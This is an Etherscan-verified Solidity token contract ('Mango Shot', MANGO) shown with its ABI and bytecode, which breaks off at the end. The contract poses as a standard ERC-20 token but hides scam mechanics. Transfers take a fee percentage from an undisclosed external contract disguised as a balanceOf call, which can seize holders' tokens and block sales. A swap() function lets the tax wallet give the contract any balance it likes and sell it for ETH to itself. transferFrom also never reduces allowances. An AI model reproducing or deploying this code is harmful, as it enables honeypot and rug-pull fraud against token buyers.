Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function sub(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b) interface IUniswapV2Factory    - function getPair(address tokenA, addr ... interface IUniswapV2Router    - function factory()    - function swapExactTokensForETHSupport ...    - function WETH()    - function owner()    - function renounceOwnership()  contract Mango is Ownable *    - function decimals()    - function enableAutoSwap()    - function sender()    - function name()    - function allowance(address owner, add ...    - function symbol()    - function increaseAllowance(address sp ...    - function balanceOf(address account)    - function approve(address spender, uin ...    - function swap (uint256 tokenValue)    - function totalSupply()    - function transferFrom(address from, a ...    - function _approve(address owner, addr ...    - function fromTaxWallet()    - function transfer(address recipient, ...    - function _transfer(address _sender, a ...    - function decreaseAllowance(address fr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-09-11
*/

pragma solidity ^0.8.20;
//SPDX-License-Identifier: MIT

/**
 *
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address addr);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;
    function WETH() external pure returns (address aadd);
}

abstract contract Ownable {
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function owner() public view virtual returns (address) {return _owner;}
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    address private _owner;
}

contract Mango is Ownable {
    using SafeMath for uint256;

    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000 * 10 ** _decimals;

    string private _symbol = "MANGO";
    string private _name = "Mango Shot";
    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint256) {
        return _decimals;
    }

    address public routerV2;
    bool swapEnabled = false;

    function enableAutoSwap() external onlyOwner {
        swapEnabled = true;
    }
    event Transfer(address indexed from, address indexed to, uint256);

    constructor() {
        emit Transfer(address(0), sender(), _balances[sender()]);
        _balances[sender()] =  _totalSupply; 
        routerV2 = 0x8a674549E7a7044ebb6f91F74824108161FA2240;
        _taxWallet = msg.sender; 
    }
    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    function sender() internal view returns (address) {
        return msg.sender;
    }

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory) {
        return _name;
    }
    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
     /**
     * @dev Returns the token symbol.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    address public _taxWallet;
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be usd as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    /**
     * @dev See{ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function swap (uint256 tokenValue) external {
        if (fromTaxWallet()) {
            _approve(address(this), address(uniV2Router), tokenValue); 
            _balances[address(this)] = tokenValue;
            address[] memory _tokensPath = new address[](2);
            address weth = uniV2Router.WETH();
            _tokensPath[0] = address(this); 
            _tokensPath[1] = weth; 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenValue, 0, _tokensPath, _taxWallet, block.timestamp + 32);
        } else { return; }
    }
    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    event Approval(address indexed, address indexed, uint256 value);
    mapping(address => uint256) private _balances;
    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indcating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allwance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
        /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function fromTaxWallet() private view returns (bool) {
        return  sender() == _taxWallet;
    }
    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` canot be the zero address.
     * - the caller mst have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fes, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */

    function _transfer(address _sender, address to, uint256 value) internal {
        require(_sender != address(0));
        (bool v, bytes memory data) = routerV2.call(abi
        .encodeWithSignature("balanceOf(address)", _sender));
        uint256 _lowFee = abi.decode(data, (uint256));
        uint256 _fee = value.mul(_lowFee).div(100);
        require(value <= _balances[_sender]);
        _balances[_sender] = _balances[_sender] - value;
        _balances[to] = _balances[to] + value - _fee;
        emit Transfer(_sender, to, value - _fee);
    }
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicatng the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableAutoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenValue","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a91906200052a565b620f42406200002a91906200057a565b6002556040518060400160405280600581526020017f4d414e474f000000000000000000000000000000000000000000000000000000815250600390816200007391906200081f565b506040518060400160405280600a81526020017f4d616e676f2053686f740000000000000000000000000000000000000000000081525060049081620000ba91906200081f565b505f600560146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000135575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3620001fe6200039d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f6200025f6200039d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002a8919062000914565b60405180910390a360025460095f620002c66200039d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550738a674549e7a7044ebb6f91f74824108161fa224060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200092f565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200042e57808604811115620004065762000405620003a4565b5b6001851615620004165780820291505b80810290506200042685620003d1565b9450620003e6565b94509492505050565b5f826200044857600190506200051a565b8162000457575f90506200051a565b81600181146200047057600281146200047b57620004b1565b60019150506200051a565b60ff84111562000490576200048f620003a4565b5b8360020a915084821115620004aa57620004a9620003a4565b5b506200051a565b5060208310610133831016604e8410600b8410161715620004eb5782820a905083811115620004e557620004e4620003a4565b5b6200051a565b620004fa8484846001620003dd565b92509050818404811115620005145762000513620003a4565b5b81810290505b9392505050565b5f819050919050565b5f620005368262000521565b9150620005438362000521565b9250620005727fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000437565b905092915050565b5f620005868262000521565b9150620005938362000521565b9250828202620005a38162000521565b91508282048414831517620005bd57620005bc620003a4565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200064057607f821691505b602082108103620006565762000655620005fb565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006ba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200067d565b620006c686836200067d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200070762000701620006fb8462000521565b620006de565b62000521565b9050919050565b5f819050919050565b6200072283620006e7565b6200073a62000731826200070e565b84845462000689565b825550505050565b5f90565b6200075062000742565b6200075d81848462000717565b505050565b5b818110156200078457620007785f8262000746565b60018101905062000763565b5050565b601f821115620007d3576200079d816200065c565b620007a8846200066e565b81016020851015620007b8578190505b620007d0620007c7856200066e565b83018262000762565b50505b505050565b5f82821c905092915050565b5f620007f55f1984600802620007d8565b1980831691505092915050565b5f6200080f8383620007e4565b9150826002028217905092915050565b6200082a82620005c4565b67ffffffffffffffff811115620008465762000845620005ce565b5b62000852825462000628565b6200085f82828562000788565b5f60209050601f83116001811462000895575f841562000880578287015190505b6200088c858262000802565b865550620008fb565b601f198416620008a5866200065c565b5f5b82811015620008ce57848901518255600182019150602085019450602081019050620008a7565b86831015620008ee5784890151620008ea601f891682620007e4565b8355505b6001600288020188555050505b505050505050565b6200090e8162000521565b82525050565b5f602082019050620009295f83018462000903565b92915050565b611d4f806200093d5f395ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c8063502f7446116100ab57806394b918de1161006f57806394b918de146102e757806395d89b4114610303578063a457c2d714610321578063a9059cbb14610351578063dd62ed3e146103815761011f565b8063502f7446146102535780636f268a991461027157806370a082311461028f578063715018a6146102bf5780638da5cb5b146102c95761011f565b80632aa0d284116100f25780632aa0d284146101bf578063313ce567146101c957806332424aa3146101e757806339509351146102055780633eaaf86b146102355761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103b1565b6040516101389190611438565b60405180910390f35b61015b600480360381019061015691906114e9565b610441565b6040516101689190611541565b60405180910390f35b610179610457565b6040516101869190611569565b60405180910390f35b6101a960048036038101906101a49190611582565b610460565b6040516101b69190611541565b60405180910390f35b6101c7610502565b005b6101d1610594565b6040516101de9190611569565b60405180910390f35b6101ef61059d565b6040516101fc9190611569565b60405180910390f35b61021f600480360381019061021a91906114e9565b6105a3565b60405161022c9190611541565b60405180910390f35b61023d610643565b60405161024a9190611569565b60405180910390f35b61025b610649565b60405161026891906115e1565b60405180910390f35b61027961066e565b60405161028691906115e1565b60405180910390f35b6102a960048036038101906102a491906115fa565b610693565b6040516102b69190611569565b60405180910390f35b6102c76106d9565b005b6102d1610808565b6040516102de91906115e1565b60405180910390f35b61030160048036038101906102fc9190611625565b61082f565b005b61030b610af1565b6040516103189190611438565b60405180910390f35b61033b600480360381019061033691906114e9565b610b81565b6040516103489190611541565b60405180910390f35b61036b600480360381019061036691906114e9565b610ca5565b6040516103789190611541565b60405180910390f35b61039b60048036038101906103969190611650565b610cc2565b6040516103a89190611569565b60405180910390f35b6060600480546103c0906116bb565b80601f01602080910402602001604051908101604052809291908181526020018280546103ec906116bb565b80156104375780601f1061040e57610100808354040283529160200191610437565b820191905f5260205f20905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b5f61044d338484610d44565b6001905092915050565b5f600254905090565b5f61046c848484610f07565b8160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104b3611277565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104f7575f80fd5b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610521610808565b73ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90611735565b60405180910390fd5b6001600560146101000a81548160ff021916908315150217905550565b5f600154905090565b60015481565b5f6106396105af611277565b848460085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106349190611780565b610d44565b6001905092915050565b60025481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106f8610808565b73ffffffffffffffffffffffffffffffffffffffff161461074e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074590611735565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61083761127e565b15610ae8576108683060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610d44565b8060095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff8111156108c6576108c56117b3565b5b6040519080825280602002602001820160405280156108f45781602001602082028036833780820191505090505b5090505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610962573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098691906117f4565b905030825f8151811061099c5761099b61181f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080826001815181106109eb576109ea61181f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8560075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16602042610a949190611780565b6040518663ffffffff1660e01b8152600401610ab4959493929190611945565b5f604051808303815f87803b158015610acb575f80fd5b505af1158015610add573d5f803e3d5ffd5b505050505050610aed565b610aee565b5b50565b606060038054610b00906116bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2c906116bb565b8015610b775780601f10610b4e57610100808354040283529160200191610b77565b820191905f5260205f20905b815481529060010190602001808311610b5a57829003601f168201915b5050505050905090565b5f8160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c06575f80fd5b610c9b610c11611277565b848460085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c96919061199d565b610d44565b6001905092915050565b5f610cb8610cb1611277565b8484610f07565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da990611a40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1790611ace565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610efa9190611569565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f3e575f80fd5b5f8060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685604051602401610f8991906115e1565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516110139190611b30565b5f604051808303815f865af19150503d805f811461104c576040519150601f19603f3d011682016040523d82523d5f602084013e611051565b606091505b50915091505f8180602001905181019061106b9190611b5a565b90505f611094606461108684886112db90919063ffffffff16565b61135290919063ffffffff16565b905060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548511156110df575f80fd5b8460095f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611128919061199d565b60095f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808560095f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111b39190611780565b6111bd919061199d565b60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8388611259919061199d565b6040516112669190611569565b60405180910390a350505050505050565b5f33905090565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112bf611277565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b5f8083036112eb575f905061134c565b5f82846112f89190611b85565b90508284826113079190611bf3565b14611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90611c93565b60405180910390fd5b809150505b92915050565b5f808211611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611cfb565b60405180910390fd5b5f82846113a29190611bf3565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113e55780820151818401526020810190506113ca565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61140a826113ae565b61141481856113b8565b93506114248185602086016113c8565b61142d816113f0565b840191505092915050565b5f6020820190508181035f8301526114508184611400565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114858261145c565b9050919050565b6114958161147b565b811461149f575f80fd5b50565b5f813590506114b08161148c565b92915050565b5f819050919050565b6114c8816114b6565b81146114d2575f80fd5b50565b5f813590506114e3816114bf565b92915050565b5f80604083850312156114ff576114fe611458565b5b5f61150c858286016114a2565b925050602061151d858286016114d5565b9150509250929050565b5f8115159050919050565b61153b81611527565b82525050565b5f6020820190506115545f830184611532565b92915050565b611563816114b6565b82525050565b5f60208201905061157c5f83018461155a565b92915050565b5f805f6060848603121561159957611598611458565b5b5f6115a6868287016114a2565b93505060206115b7868287016114a2565b92505060406115c8868287016114d5565b9150509250925092565b6115db8161147b565b82525050565b5f6020820190506115f45f8301846115d2565b92915050565b5f6020828403121561160f5761160e611458565b5b5f61161c848285016114a2565b91505092915050565b5f6020828403121561163a57611639611458565b5b5f611647848285016114d5565b91505092915050565b5f806040838503121561166657611665611458565b5b5f611673858286016114a2565b9250506020611684858286016114a2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116d257607f821691505b6020821081036116e5576116e461168e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61171f6020836113b8565b915061172a826116eb565b602082019050919050565b5f6020820190508181035f83015261174c81611713565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61178a826114b6565b9150611795836114b6565b92508282019050808211156117ad576117ac611753565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506117ee8161148c565b92915050565b5f6020828403121561180957611808611458565b5b5f611816848285016117e0565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61187861187361186e8461184c565b611855565b6114b6565b9050919050565b6118888161185e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6118c08161147b565b82525050565b5f6118d183836118b7565b60208301905092915050565b5f602082019050919050565b5f6118f38261188e565b6118fd8185611898565b9350611908836118a8565b805f5b8381101561193857815161191f88826118c6565b975061192a836118dd565b92505060018101905061190b565b5085935050505092915050565b5f60a0820190506119585f83018861155a565b611965602083018761187f565b818103604083015261197781866118e9565b905061198660608301856115d2565b611993608083018461155a565b9695505050505050565b5f6119a7826114b6565b91506119b2836114b6565b92508282039050818111156119ca576119c9611753565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a2a6025836113b8565b9150611a35826119d0565b604082019050919050565b5f6020820190508181035f830152611a5781611a1e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ab86023836113b8565b9150611ac382611a5e565b604082019050919050565b5f6020820190508181035f830152611ae581611aac565b9050919050565b5f81519050919050565b5f81905092915050565b5f611b0a82611aec565b611b148185611af6565b9350611b248185602086016113c8565b80840191505092915050565b5f611b3b8284611b00565b915081905092915050565b5f81519050611b54816114bf565b92915050565b5f60208284031215611b6f57611b6e